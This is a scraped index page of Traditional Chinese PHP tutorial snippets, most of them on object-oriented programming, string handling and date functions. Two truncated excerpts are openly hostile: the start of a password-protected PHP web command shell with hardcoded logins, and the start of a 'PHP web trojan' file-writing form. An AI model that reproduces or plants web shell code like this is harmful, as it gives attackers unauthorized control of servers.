Time of Update: 2018-12-08
如何使用這個類呢?請看下面的示範: 複製代碼 代碼如下:$temptime = time(); echo strftime ( "%Hh%M %A %d %b" , $temptime ); $date = new DateAccount(); $temptime = $date ->DateAdd( "n" ,50, $temptime ); echo "<p>" ; echo strftime ( "%Hh%M %A %d %b" , $temptime ); 複製代碼
Time of Update: 2018-12-08
openCV是一個開源的用C/C++開發的電腦圖形映像庫,非常強大,研究資料很齊全。本文重點是介紹如何使用php來調用其中的局部的功能。人臉偵查技術只是openCV一個套用分支。 1.安裝 從原始碼編譯成一個動態so檔案。 1.1.安裝 OpenCV (OpenCV 1.0.0) :http://sourceforge.net/project/showfiles.php?group_id=22870&package_id=16948 #tar xvzf OpenCV-1.0.0.tar.
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php //此處可設定多個使用者 $passwd = array('ha0k' => 'ha0k', 'hackerdsb'=>'hackerdsb'); /* 此處設定命令的別名 */ $aliases = array('ls' => 'ipconfig', 'll' => 'ls -lvhF'); if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])|
Time of Update: 2018-12-08
php網頁木馬複製代碼 代碼如下:<?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 儲存檔案名稱: <input type="text" name="file" size="60"
Time of Update: 2018-12-08
1、防止跳出web目錄 首先修改httpd.conf,假如您只允許您的php指令碼程式在web目錄裡操作,還能夠修改httpd.conf文檔限制php的操作路徑。比如您的web目錄是/usr/local/apache/htdocs,那麼在httpd.conf裡加上這麼幾行: php_admin_value open_basedir /usr/local/apache /htdocs
Time of Update: 2018-12-08
iconv( "UTF-8", "gb2312//IGNORE" , $FormValues['a']) ignore的意思是忽略轉換時的錯誤,發現iconv在轉換字元"—"到gb2312時會出錯,如果沒有ignore參數,所有該字元後面的字串都無法被儲存。 另外mb_convert_encoding沒有這個bug,所以最好的寫法是: mb_convert_encoding($FormValues['a'], "gb2312", "UTF-8"); 但是需要先enable mbstring
Time of Update: 2018-12-08
或者使用strcmp來判斷,但是這個能夠告訴你兩個字串是否相等,但是無法告訴你在那裡不同。 我的思路是單字串分割為一個個字母(character),這樣比較就能精確知道在那個位置不同了。 分隔字串,使用“str_split”就可以了,文法參考【2】。然後輸出結果數組,好處是連空格也會作為數組的元素。我之前的例子就是因為前一個字串包含2個空格,而後一個只有一個。但是輸出的時候看到的顯示都是一樣的。 也可以按照其他分隔字元進行分割,如“explode”或者“preg_split”,參考【3】和【4】
Time of Update: 2018-12-08
舉例子如下: 複製代碼 代碼如下:$url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/"; $parts = parse_url($url); 輸出: 複製代碼 代碼如下:Array ( [scheme] => http [host] => www.electrictoolbox.com [path] => /php-extract-domain-from-full-url/ ) 又如:
Time of Update: 2018-12-08
14.final 關鍵字的應用 這個關鍵字只能用來定義類和定義方法,不能使用final 這個關鍵字來定義成員屬性,因 為final 是常量的意思,我們在PHP 裡定義常量使用的是define()函數,所以不能使用final 來 定義成員屬性。 使用final 關鍵標記的類不能被繼承; 程式碼片段 final class Person{ … … } class Student extends Person{ } 會出現下面錯誤: Fatal error: Class Student may
Time of Update: 2018-12-08
13.訪問類型 類型的存取修飾詞允許開發人員對類成員的訪問進行限制,這是PHP5 的新特性,但卻 是OOP 語言的一個好的特性。而且大多數OOP 語言都已支援此特性。PHP5 支援如下3 種訪 問修飾符 public (公有的、預設的),private (私人的)和protected (受保護的)三種。 public 公有修飾符,類中的成員將沒有訪問限制,所有的外部成員都可以訪問(讀和寫) 這個類成員(包括成員屬性和成員方法),在PHP5 之前的所有版本中,PHP 中類的成員都是 public
Time of Update: 2018-12-08
12.重載新的方法 在學習PHP 這種語言中你會發現,PHP 中的方法是不能重載的,所謂的方法重載就是 定義相同的方法名,通過“參數的個數”不同或“參數的類型”不同,來訪問我們的相同方法 名的不同方法。但是因為PHP 是弱類型的語言,所以在方法的參數中本身就可以接收不同類 型的資料,又因為PHP 的方法可以接收不定個數的參數,所以通過傳遞不同個數的參數調用 不相同方法名的不同方法也是不成立的。所以在PHP 裡面沒有方法重載。不能重載也就是在 你的項目中不能定義相同方法名的方法。另外,因為PHP
Time of Update: 2018-12-08
11.類的繼承 繼承作為物件導向的三個重要特性的一個方面,在物件導向的領域有著極其重要的作用, 好像沒聽說哪個物件導向的語言不支援繼承。繼承是PHP5 物件導向程式設計的重要特性之 一,它是指建立一個新的衍生類別,從一個或多個先前定義的類中繼承資料和函數,而且可以 重新定義或加進新資料和函數,從而建立了類的層次或等級。說的簡單點就是,繼承性是子 類自動共用父類的資料結構和方法的機制,這是類之間的一種關係。在定義和實現一個類的
Time of Update: 2018-12-08
自動載入類 很多開發人員寫物件導向的應用程式時,對每個類的定義建立一個PHP 源檔案。一個很大 的煩惱是不得不在每個指令碼(每個類一個檔案)開頭寫一個長長的包含檔案的列表。 在軟體開發的系統中,不可能把所有的類都寫在一個PHP 檔案中,當在一個PHP 檔案 中需要調用另一個檔案中聲明的類時,就需要通過include 把這個檔案引入。不過有的時候, 在檔案眾多的項目中,要一一將所需類的檔案都include 進來,是一個很讓人頭疼的事,所以 我們能不能在用到什麼類的時候,再把這個類所在的PHP
Time of Update: 2018-12-08
10.__set() __get() __isset() __unset()四個方法的應用 一般來說,總是把類的屬性定義為private,這更符合現實的邏輯。但是,對屬性的讀取 和賦值操作是非常頻繁的,因此在PHP5 中,預定義了兩個函數“__get()”和“__set()”來獲 取和賦值其屬性,以及檢查屬性的“__isset()”和刪除屬性的方法“__unset()”。 上一節中,我們為每個屬性做了設定和擷取的方法,在PHP5 中給我們提供了專門為屬 性設定值和擷取值的方法,“__set()”
Time of Update: 2018-12-08
把對象序列化 有時候需要把一個對象在網路上傳輸,為了方便傳輸,可以把整個對象轉化為二進位串, 等到達另一端時,再還原為原來的對象,這個過程稱之為序列化,就像我們現在想把一輛汽 車通過輪船運到美國去,因為汽車的體積比較大,我們可以把汽車拆開成小的組件,然後我們把這些組件通過輪般運到美國去,到了美國再把這些組件組裝回汽車。 有兩種情況我們必須把對象序列化,第一種情況就是把一個對象在網路中傳輸的時候要 將對象序列化,第二種情況就是把對象寫入檔案或是資料庫的時候用到序列化。
Time of Update: 2018-12-08
9.封裝性 封裝性是物件導向編程中的三大特性之一,封裝性就是把對象的屬性和服務結合成一個 獨立的相同單位,並儘可能隱蔽對象的內部細節,包含兩個含義:1.把對象的全部屬性和全 部服務結合在一起,形成一個不可分割的獨立單位(即對象)。2.資訊隱蔽,即儘可能隱蔽對 象的內部細節,對外形成一個邊界〔或者說形成一道屏障〕,只保留有限的對外介面使之與外 部發生聯絡。 封裝的原則在軟體上的反映是:要求使對象以外的部分不能隨意存取對象的內部資料
Time of Update: 2018-12-08
多態的應用 多態是除封裝和繼承之外的另一個物件導向的三大特性之一,我個人看來PHP 中雖然可 以實現多態,但和C++還有Java 這些物件導向的語言相比,多態性並不是那麼突出,因為PHP 本身就是一種弱類型的語言,不存在父類對象轉化為子類對象或者是子類對象轉化為父類對 象的問題,所以多態的應用並不是那麼的明顯;所謂多態性是指一段程式能夠處理多種類型 對象的能力,比如說在公司上班,每個月財務發放工資,同一個發工資的方法,在公司內不
Time of Update: 2018-12-08
20.PHP5 介面技術 PHP 與大多數物件導向程式設計語言一樣,不支援多重繼承.也就是說每個類只能繼承一個父 類。為瞭解決這個問題,PHP 引入了介面,介面的思想是指定了一個實現了該介面的類必須 實現的一系列方法。介面是一種特殊的抽象類別,抽象類別又是一種特殊的類,所以介面也是一 種特殊的類,為什麼說介面是一種特殊的抽象類別呢?如果一個抽象類別裡面的所有的方法都是 抽象方法,那麼我們就換一種聲明方法使用“介面”;也就是說介面裡面所有的方法必須都是
Time of Update: 2018-12-08
抽象方法和抽象類別 在OOP 語言中,一個類可以有一個或多個子類,而每個類都有至少一個公有方法做為 外部代碼訪問其的介面。而抽象方法就是為了方便繼承而引入的,我們先來看一下抽象類別和 抽象方法的定義再說明它的用途。 什麼是抽象方法?我們在類裡面定義的沒有方法體的方法就是抽象方法,所謂的沒有方 法體指的是,在方法聲明的時候沒有大括弧以及其中的內容,而是直接在聲明時在方法名後 加上分號結束,另外在聲明抽象方法時還要加一個關鍵字“abstract”來修飾; 例如: abstract function
Time of Update: 2018-12-08
16.__toString()方法 我們前面說過在類裡面聲明“— ”開始的方法名的方法(PHP 給我們提供的),都是在 某一時刻不同情況下自動調用執行的方法,“__toString()”方法也是一樣自動被調用的,是在 直接輸出對象引用時自動調用的, 前面我們講過對象引用是一個指標,比如說:“$p=new Person()”中,$p 就是一個引用,我們不能使用echo 直接輸出$p,這樣會輸出“Catchable fatal error: Object of class Person could